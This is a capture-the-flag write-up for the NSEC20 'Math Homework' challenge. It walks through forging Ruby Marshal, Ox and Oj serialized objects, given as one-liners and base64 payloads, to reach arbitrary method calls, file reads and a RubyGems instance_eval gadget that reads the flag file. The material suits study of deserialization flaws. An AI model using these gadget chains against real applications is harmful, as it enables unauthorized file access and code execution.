NSEC20 Math Homework - Fri, May 22, 2020 - Jean Privat
Math-homework
A netcat-based server asks math questions.
The source-code is available, option 1. We can save (option 4) and load (option 3) the states of the math exercises (to continue the homework later I assume).
Exercice 1
If we solve the exercise, we have the flag
def score
correct = @storage.select(&:success).size
puts "Score: #{correct} / #{@storage.size}"
if correct == @storage.size
puts File.read('flag')
end
end
But the code of the exercise is buggy and cannot be solved with pure math skills.
The import
part is interesting
def import
puts "Enter your exported blob:"
@storage = Marshal.load(Base64.strict_decode64(gets.strip))
end
So we only have to determine a value of @storage
that gives the flag and encode it.
The empty list does the job.
$ ruby -e 'require "base64"; puts Base64.strict_encode64(Marshal.dump([]))'
BAhbAA==
But this crash on a division by 0
question = @storage[@index % @storage.size]
OK, need at least an easy question then, like « 0x² + 0x + x = 0 »
$ ruby -e 'require "base64"; class Question; def initialize; @a=@b=@c=0 end; end; puts Base64.strict_encode64(Marshal.dump([Question.new]))'
BAhbBm86DVF1ZXN0aW9uCDoHQGNpADoHQGJpADoHQGFpAA==
- import it
- next question
- solve it (any number works)
- profit
Exercice 2
This time, we can solve the exercise but there is no part in the code that give some flag. Could it be in the filesystem, like in the first exercise? We need to find a way to somewhat control the execution.
This part of the code is interesting
def answer
@answer ||= a.public_send(operator, b)
end
So, if we control a
, operator
and b
we can execute some arbitrary method.
The limitation is that the method should be public and that we can only use a single argument.
The result of the method is stored in @answer
and can be extracted with save
(option 4).
private in ruby means the receiver must be self
(or implicit). Unfortunately, most great methods like Kernel::system
or Kernel::eval
are private, so we cannot execute them directly with public_send
.
What is public and useful then? Maybe Dir::children
to check what there is in the file system.
$ ruby -e 'require "base64"; require "ox"; class Operation; def initialize; @a=Dir; @operator="children"; @b="."; end; end; puts Base64.strict_encode64(Ox.dump([Operation.new]))'
PGE+CiAgPG8gYz0iT3BlcmF0aW9uIj4KICAgIDxjIGE9IkBhIiBjPSJEaXIiLz4KICAgIDxzIGE9IkBvcGVyYXRvciI+Y2hpbGRyZW48L3M+CiAgICA8cyBhPSJAYiI+Ljwvcz4KICA8L28+CjwvYT4K
(in fact, one could just craft the XML)
- import it
- next question
- enter anything (and fail)
- save
- decode the base64: There is a
flag
file in the directory!
Second attempt, get the content of the flag
file. We use File::read
$ ruby -e 'require "base64"; require "ox"; class Operation; def initialize; @a=File; @operator="read"; @b="flag"; end; end; puts Base64.strict_encode64(Ox.dump([Operation.new]))'
PGE+CiAgPG8gYz0iT3BlcmF0aW9uIj4KICAgIDxjIGE9IkBhIiBjPSJGaWxlIi8+CiAgICA8cyBhPSJAb3BlcmF0b3IiPnJlYWQ8L3M+CiAgICA8cyBhPSJAYiI+ZmxhZzwvcz4KICA8L28+CjwvYT4K
Run the same sequence and get the flag!
Exercice 3
Basically the same thing except that the interesting part of the code is now
def answer
@answer ||= @array.send(@type)
end
We can execute private methods now, but there is no argument. This forbids great methods like Kernel::eval
, Kernel::system
, Dir.children
, File::read
, etc.
We combed through Ruby core, base64, oj and the main code but found not a single useful gadget.
Most interesting methods without parameters needed receivers like lambdas, open files or bytecode that are weird objects and aren’t serializable.
And the competition ended. And we were sad and tired. Later @becojo, the challenge designer, gave a hint to the participants « use Gem ». Dafuck ?
Ruby Gem
is a package used to interact with ruby packages. It is not a part of ruby core but is imported by default in the interpreter environment.
And Gem
is full of nice gadgets.
Now, rewind a little and continue with a way to find the knowledge even if one is not a Ruby specialist. The following is therefore an alternate reality, a better one in fact.
We combed through Ruby Core, base64, oj and the main code but found not a single useful gadget.
Most interesting methods without parameter needed receivers like lambdas, open files or bytecode that are weird objects and aren’t serializable.
But we found Module::constants
that gives the list of all constants (mainly classes and modules) this could be used to look for more gadgets in the environment.
Instead of trying locally, lets just try on the server !
$ ruby -e 'require "base64"; require "oj"; class Question; def initialize; @type="constants"; @array=Module; end; end; puts Base64.strict_encode64(Oj.dump([Question.new]))'
W3siXm8iOiJRdWVzdGlvbiIsInR5cGUiOiJjb25zdGFudHMiLCJhcnJheSI6eyJeYyI6Ik1vZHVsZSJ9fV0=
(in fact, one could just craft the Json)
- load it
- next question
- enter anything (and fail)
- save
- decode the base64: There is the answer
[:SystemExit, :IO, :SignalException, :Interrupt, :StandardError, :TypeError, :ArgumentError, :IndexError, :KeyError, :Process, :RangeError, :ScriptError, :SyntaxError, :LoadError, :Date, :NotImplementedError, :NameError, :NoMethodError, :RuntimeError, :FrozenError, :SecurityError, :String, :NoMemoryError, :EncodingError, :NilClass, :SystemCallError, :Float, :NIL, :Errno, :Warning, :NoMatchingPatternError, :Random, :Array, :Hash, :Integer, :Signal, :Proc, :RbConfig, :LocalJumpError, :SystemStackError, :Method, :Data, :TrueClass, :TRUE, :FalseClass, :FALSE, :Encoding, :UnboundMethod, :UncaughtThrowError, :STDIN, :STDOUT, :STDERR, :Binding, :SimpleDelegator, :Math, :Delegator, :ARGF, :Comparable, :Enumerable, :FileTest, :File, :ZeroDivisionError, :FloatDomainError, :Numeric, :StringIO, :Enumerator, :Question, :Fiber, :FiberError, :Module3, :Rational, :ENV, :Fixnum, :Struct, :RegexpError, :Complex, :Oj, :Base64, :Regexp, :StopIteration, :Bignum, :BigDecimal, :RUBY_VERSION, :RubyVM, :RUBY_RELEASE_DATE, :RUBY_PLATFORM, :RUBY_PATCHLEVEL, :RUBY_REVISION, :MatchData, :Thread, :RUBY_COPYRIGHT, :RUBY_ENGINE, :RUBY_ENGINE_VERSION, :GC, :TOPLEVEL_BINDING, :ObjectSpace, :BigMath, :Gem, :DidYouMean, :TracePoint, :Dir, :OpenStruct, :ThreadGroup, :ThreadError, :Mutex, :DateTime, :Marshal, :Monitor, :Queue, :ClosedQueueError, :CROSS_COMPILING, :SizedQueue, :UnicodeNormalize, :ConditionVariable, :Range, :BasicObject, :Object, :Module, :Class, :EOFError, :Kernel, :Symbol, :ARGV, :Exception, :RUBY_DESCRIPTION, :Time, :IOError, :MonitorMixin]
Is there something useful? Eh, what is Gem
?
Ruby Gem
is a package used to interact with ruby packages. It is not a part of ruby core but seems imported by default in the interpreter environment. Who could have guessed that?
Could Gem
be full of nice gadgets?
$ grep -r system /usr/lib/ruby/2.7.0/rubygems/
[...]
A lot of false positive and eventually nothing useful. There is useful things in ./server.rb
and ./util.rb
but the code is not loaded by default with Gem
:(
$ grep -r eval /usr/lib/ruby/2.7.0/rubygems/
/usr/lib/ruby/2.7.0/rubygems/mock_gem_ui.rb:# retrieval during tests.
/usr/lib/ruby/2.7.0/rubygems/installer.rb: eval ruby
/usr/lib/ruby/2.7.0/rubygems/installer.rb: # ruby code that would be eval'ed in #ensure_loadable_spec
/usr/lib/ruby/2.7.0/rubygems/specification.rb: raise Gem::Exception, "YAML data doesn't evaluate to gem specification"
/usr/lib/ruby/2.7.0/rubygems/specification.rb: _spec = eval code, binding, file
/usr/lib/ruby/2.7.0/rubygems/specification.rb: eval <<-RB, binding, __FILE__, __LINE__ + 1
/usr/lib/ruby/2.7.0/rubygems/specification.rb: # be eval'ed and reconstruct the same specification later. Attributes that
/usr/lib/ruby/2.7.0/rubygems/request_set/gem_dependency_api.rb: instance_eval File.read(@path).tap(&Gem::UNTAINT), @path, 1
/usr/lib/ruby/2.7.0/rubygems/basic_specification.rb: # about the gem from a stub line, without having to evaluate the
/usr/lib/ruby/2.7.0/rubygems/deprecate.rb: class_eval do
/usr/lib/ruby/2.7.0/rubygems/stub_specification.rb:# us having to eval the entire gemspec in order to find out certain
/usr/lib/ruby/2.7.0/rubygems/stub_specification.rb: # The full Gem::Specification for this gem, loaded from evalling its gemspec
This one seems nice
class Gem::RequestSet::GemDependencyAPI
[...]
def load
instance_eval File.read(@path).tap(&Gem::UNTAINT), @path, 1
self
end
[...]
BasicObject::instance_eval
execute code withself
bonded to the receiver.File.read(@path)
read the file of a path we can control.- But the result of the evaluation is not returned.
So, we cannot execute exactly whatever we want, but we can execute any existing file. Which file?
- Could we try to use exercise 2 to write a file somehow in
/tmp
then execute it in exercise 3 ? - Or we could load some other library to have more gadgets.
During our search for gadgets, we found the package pathname
that could enable a nice x=Pathname.new("flag"); x.read
.
Note. we just craft the Json this time:
First, load the package pathname
thanks to the Gem gadget.
$ base64 -w0 <<< '[{"^o":"Question","type":"load","array":{"^o":"Gem::RequestSet::GemDependencyAPI","path":"/usr/lib/ruby/2.7.0/pathname.rb"}}]'
W3siXm8iOiJRdWVzdGlvbiIsInR5cGUiOiJsb2FkIiwiYXJyYXkiOnsiXm8iOiJHZW06OlJlcXVlc3RTZXQ6OkdlbURlcGVuZGVuY3lBUEkiLCJwYXRoIjoiL3Vzci9saWIvcnVieS8yLjcuMC9wYXRobmFtZS5yYiJ9fV0K
Second, read the content of the flag with the Pathname::read
class method.
$ base64 -w0 <<< '[{"^o":"Question","type":"read","array":{"^o":"Pathname","path":"flag"}}]'
W3siXm8iOiJRdWVzdGlvbiIsInR5cGUiOiJyZWFkIiwiYXJyYXkiOnsiXm8iOiJQYXRobmFtZSIsInBhdGgiOiJmbGFnIn19XQo=
Et voilà!